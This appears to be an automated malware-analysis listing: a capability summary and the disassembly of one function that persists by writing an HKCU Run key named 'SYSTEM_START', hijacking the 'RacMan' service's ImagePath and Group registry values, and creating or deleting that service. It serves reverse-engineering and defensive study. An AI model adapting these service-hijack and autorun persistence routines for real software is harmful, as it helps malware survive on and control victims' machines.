Function at 0x1000b1cc
Capabilities:
Create service
Delete service
Get common file path
Get startup folder
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 4], 0
push 8
call fcn.1000fa3f
add esp, 4
mov dword [ebp - 8], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], esp
mov eax, 0
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push 0
xor eax, eax
call dword [0x10027fac]
nop
nop
cmp dword [ebp - 0x1c], esp
je 0x1000b244
push 6
call fcn.1000fa51
add esp, 4
mov dword [ebp - 4], eax
push 0
push 0
push 0
push 0x80000004
push 0
push str.WScript.Shell
push 0x10030
push 0
push dword [ebp - 8]
push 3
mov ebx, 0x91c
call fcn.10010bd0
add esp, 0x28
cmp dword [ebp + 8], 0
jne 0x1000b36a
push 0x80000301
push 0
push 0x104
push 1
mov ebx, 0x184
call fcn.10010040
add esp, 0x10
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x1000b2b4
push ebx
call fcn.1000fa45
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], esp
push 0
push 7
push dword [ebp - 0xc]
push 0
xor eax, eax
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
nop
nop
cmp dword [ebp - 0x1c], esp
je 0x1000b2e9
push 6
call fcn.1000fa51
add esp, 4
push 0x80000004
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x1000b2fc
mov eax, 0x10027260
push eax
push 0x80000004
push 0
push 0x10027511
push 2
mov ebx, 0x30
mov eax, 0x10019290
call fcn.1000fea0
add esp, 0x1c
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], 0
push 0
push dword [ebp - 0x20]
mov dword [ebp - 0x24], 0
push 0
lea eax, [ebp - 0x24]
push eax
push 0x10027f68
lea eax, [ebp - 0x1c]
push eax
call fcn.1000bb83
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x1000b35a
push ebx
call fcn.1000fa45
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x1000b36a
push ebx
call fcn.1000fa45
add esp, 4
cmp dword [ebp + 8], 0xa
jne 0x1000b44e
push 0x80000301
push 0
push 0x104
push 1
mov ebx, 0x184
call fcn.10010040
add esp, 0x10
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x1000b3a9
push ebx
call fcn.1000fa45
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], esp
push 0
push 7
push dword [ebp - 0xc]
push 0
xor eax, eax
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
nop
nop
cmp dword [ebp - 0x1c], esp
je 0x1000b3de
push 6
call fcn.1000fa51
add esp, 4
push 0x80000004
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x1000b3f1
mov eax, 0x10027260
push eax
push 0x80000004
push 0
push 0x10027511
push 2
mov ebx, 0x30
mov eax, 0x10019290
call fcn.1000fea0
add esp, 0x1c
mov dword [ebp - 0x1c], eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x1000b42b
mov eax, 0x10027260
push eax
push 1
mov ebx, 0x244
call fcn.100101f0
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x1000b44e
push ebx
call fcn.1000fa45
add esp, 4
cmp dword [ebp + 8], 1
jne 0x1000b4a7
push 0xa0000004
push 0
push 0x10027f68
push 0x80000004
push 0
push str.HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunSYSTEM_START
push 0x80000004
push 0
push str.RegWrite
push 0x10030
push 0
push dword [ebp - 8]
push 4
mov ebx, 0x954
call fcn.10010fe0
add esp, 0x34
mov ebx, eax
test ebx, ebx
je 0x1000b4a7
push ebx
call fcn.1000fa45
add esp, 4
cmp dword [ebp + 8], 0xb
jne 0x1000b4f4
push 0x80000004
push 0
push str.HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunSYSTEM_START
push 0x80000004
push 0
push str.RegDelete
push 0x10030
push 0
push dword [ebp - 8]
push 3
mov ebx, 0x954
call fcn.10010fe0
add esp, 0x28
mov ebx, eax
test ebx, ebx
je 0x1000b4f4
push ebx
call fcn.1000fa45
add esp, 4
cmp dword [ebp + 8], 2
jne 0x1000b57c
cmp dword [ebp - 4], 0
jne 0x1000b50d
jmp 0x1000bb3c
mov dword [ebp - 0x1c], 0
push 0
push dword [ebp - 0x1c]
push 0
mov eax, str.Microsoft
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
mov eax, 0x10027260
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
push 0x10027f68
mov eax, str.MicrosoftScheduled
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.1000c059
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x1000b55c
push ebx
call fcn.1000fa45
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x1000b56c
push ebx
call fcn.1000fa45
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x1000b57c
push ebx
call fcn.1000fa45
add esp, 4
cmp dword [ebp + 8], 0xc
jne 0x1000b616
cmp dword [ebp - 4], 0
jne 0x1000b595
jmp 0x1000bb3c
push 1
push 1
push 0
mov eax, 0x10027260
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x10027260
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
mov eax, 0x10027260
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
mov eax, str.MicrosoftScheduled
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.1000c059
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x1000b5e6
push ebx
call fcn.1000fa45
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x1000b5f6
push ebx
call fcn.1000fa45
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x1000b606
push ebx
call fcn.1000fa45
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x1000b616
push ebx
call fcn.1000fa45
add esp, 4
cmp dword [ebp + 8], 3
jne 0x1000ba08
cmp dword [ebp - 4], 0
jne 0x1000b62f
jmp 0x1000bb3c
mov dword [ebp - 0x1c], esp
push 0xf003f
push 0
push 0
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
nop
nop
cmp dword [ebp - 0x1c], esp
je 0x1000b65d
push 6
call fcn.1000fa51
add esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x1000b66f
jmp 0x1000bb3c
push 0x80000004
push 0
push str.HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRacManImagePath
push 0x80000004
push 0
push str.RegRead
push 0x10030
push 0
push dword [ebp - 8]
push 3
mov ebx, 0x954
call fcn.10010fe0
add esp, 0x28
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x1000b6ba
push ebx
call fcn.1000fa45
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
mov eax, dword [0x10027f68]
push eax
push dword [ebp - 0x14]
call fcn.10001000
add esp, 8
cmp eax, 0
jne 0x1000b79b
push 0x80000004
push 0
push str.HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRacManGroup
push 0x80000004
push 0
push str.RegRead
push 0x10030
push 0
push dword [ebp - 8]
push 3
mov ebx, 0x954
call fcn.10010fe0
add esp, 0x28
mov dword [ebp - 0x1c], eax
push 0x10027260
push dword [ebp - 0x1c]
call fcn.10001000
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x1000b73d
push ebx
call fcn.1000fa45
add esp, 4
cmp dword [ebp - 0x20], 0
je 0x1000b796
push 0x80000004
push 0
push str.MS_WindowsLocalValidation
push 0x80000004
push 0
push str.HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRacManGroup
push 0x80000004
push 0
push str.RegWrite
push 0x10030
push 0
push dword [ebp - 8]
push 4
mov ebx, 0x954
call fcn.10010fe0
add esp, 0x34
mov ebx, eax
test ebx, ebx
je 0x1000b796
push ebx
call fcn.1000fa45
add esp, 4
jmp 0x1000bb3c
push 0x10027260
push dword [ebp - 0x14]
call fcn.10001000
add esp, 8
cmp eax, 0
je 0x1000b8c6
push 0xa0000004
push 0
push 0x10027f68
push 0x80000004
push 0
push str.HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRacManImagePath
push 0x80000004
push 0
push str.RegWrite
push 0x10030
push 0
push dword [ebp - 8]
push 4
mov ebx, 0x954
call fcn.10010fe0
add esp, 0x34
mov ebx, eax
test ebx, ebx
je 0x1000b803
push ebx
call fcn.1000fa45
add esp, 4
push 0x80000004
push 0
push str.HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRacManGroup
push 0x80000004
push 0
push str.RegRead
push 0x10030
push 0
push dword [ebp - 8]
push 3
mov ebx, 0x954
call fcn.10010fe0
add esp, 0x28
mov dword [ebp - 0x1c], eax
push 0x10027260
push dword [ebp - 0x1c]
call fcn.10001000
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x1000b868
push ebx
call fcn.1000fa45
add esp, 4
cmp dword [ebp - 0x20], 0
je 0x1000b8c1
push 0x80000004
push 0
push str.MS_WindowsLocalValidation
push 0x80000004
push 0
push str.HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRacManGroup
push 0x80000004
push 0
push str.RegWrite
push 0x10030
push 0
push dword [ebp - 8]
push 4
mov ebx, 0x954
call fcn.10010fe0
add esp, 0x34
mov ebx, eax
test ebx, ebx
je 0x1000b8c1
push ebx
call fcn.1000fa45
add esp, 4
jmp 0x1000bb3c
mov dword [ebp - 0x1c], esp
push 0
push 0
push 0
push 0
push 0
push dword [0x10027f68]
push 1
push 2
push 0x110
push 0xf01ff
push str.DnsCache_SstpSvc
push str.RacMan
push dword [ebp - 0x10]
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
nop
nop
cmp dword [ebp - 0x1c], esp
je 0x1000b925
push 6
call fcn.1000fa51
add esp, 4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x1000b9e6
push 0x80000004
push 0
push str.MS_WindowsLocalValidation
push 0x80000004
push 0
push str.HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRacManGroup
push 0x80000004
push 0
push str.RegWrite
push 0x10030
push 0
push dword [ebp - 8]
push 4
mov ebx, 0x954
call fcn.10010fe0
add esp, 0x34
mov ebx, eax
test ebx, ebx
je 0x1000b981
push ebx
call fcn.1000fa45
add esp, 4
push 0x80000004
push 0
push str.HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRacManwow64
push 0x80000004
push 0
push str.RegDelete
push 0x10030
push 0
push dword [ebp - 8]
push 3
mov ebx, 0x954
call fcn.10010fe0
add esp, 0x28
mov ebx, eax
test ebx, ebx
je 0x1000b9c4
push ebx
call fcn.1000fa45
add esp, 4
mov dword [ebp - 0x1c], esp
push dword [ebp - 0x18]
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
nop
cmp dword [ebp - 0x1c], esp
je 0x1000b9e6
push 6
call fcn.1000fa51
add esp, 4
mov dword [ebp - 0x1c], esp
push dword [ebp - 0x10]
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
nop
cmp dword [ebp - 0x1c], esp
je 0x1000ba08
push 6
call fcn.1000fa51
add esp, 4
cmp dword [ebp + 8], 0xd
jne 0x1000bb3c
cmp dword [ebp - 4], 0
jne 0x1000ba21
jmp 0x1000bb3c
mov dword [ebp - 0x1c], esp
push 0xf003f
push 0
push 0
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
nop
nop
cmp dword [ebp - 0x1c], esp
je 0x1000ba4f
push 6
call fcn.1000fa51
add esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x1000ba61
jmp 0x1000bb3c
push 0x80000301
push 0
push 0x10000
push 0x80000301
push 0
push 0x20
push 0x80000301
push 0
push 0x10
push 3
mov ebx, 0xc8
call fcn.100130e0
add esp, 0x28
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], esp
push dword [ebp - 0x1c]
push str.RacMan
push dword [ebp - 0x10]
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
nop
nop
cmp dword [ebp - 0x20], esp
je 0x1000bac4
push 6
call fcn.1000fa51
add esp, 4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x1000bb15
mov dword [ebp - 0x1c], esp
push dword [ebp - 0x18]
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_DeleteService]
nop
nop
cmp dword [ebp - 0x1c], esp
je 0x1000baf3
push 6
call fcn.1000fa51
add esp, 4
mov dword [ebp - 0x1c], esp
push dword [ebp - 0x18]
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
nop
cmp dword [ebp - 0x1c], esp
je 0x1000bb15
push 6
call fcn.1000fa51
add esp, 4
mov dword [ebp - 0x1c], esp
push dword [ebp - 0x10]
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
nop
cmp dword [ebp - 0x1c], esp
je 0x1000bb37
push 6
call fcn.1000fa51
add esp, 4
jmp 0x1000bb3c
mov ebx, dword [ebp - 8]
push ebx
push 0x10030
push 0
push ebx
push 1
mov ebx, 0x924
call fcn.10010db0
add esp, 0x10
call fcn.1000fa45
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x1000bb6f
push ebx
call fcn.1000fa45
add esp, 4
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x1000bb7f
push ebx
call fcn.1000fa45
add esp, 4
leave
ret 4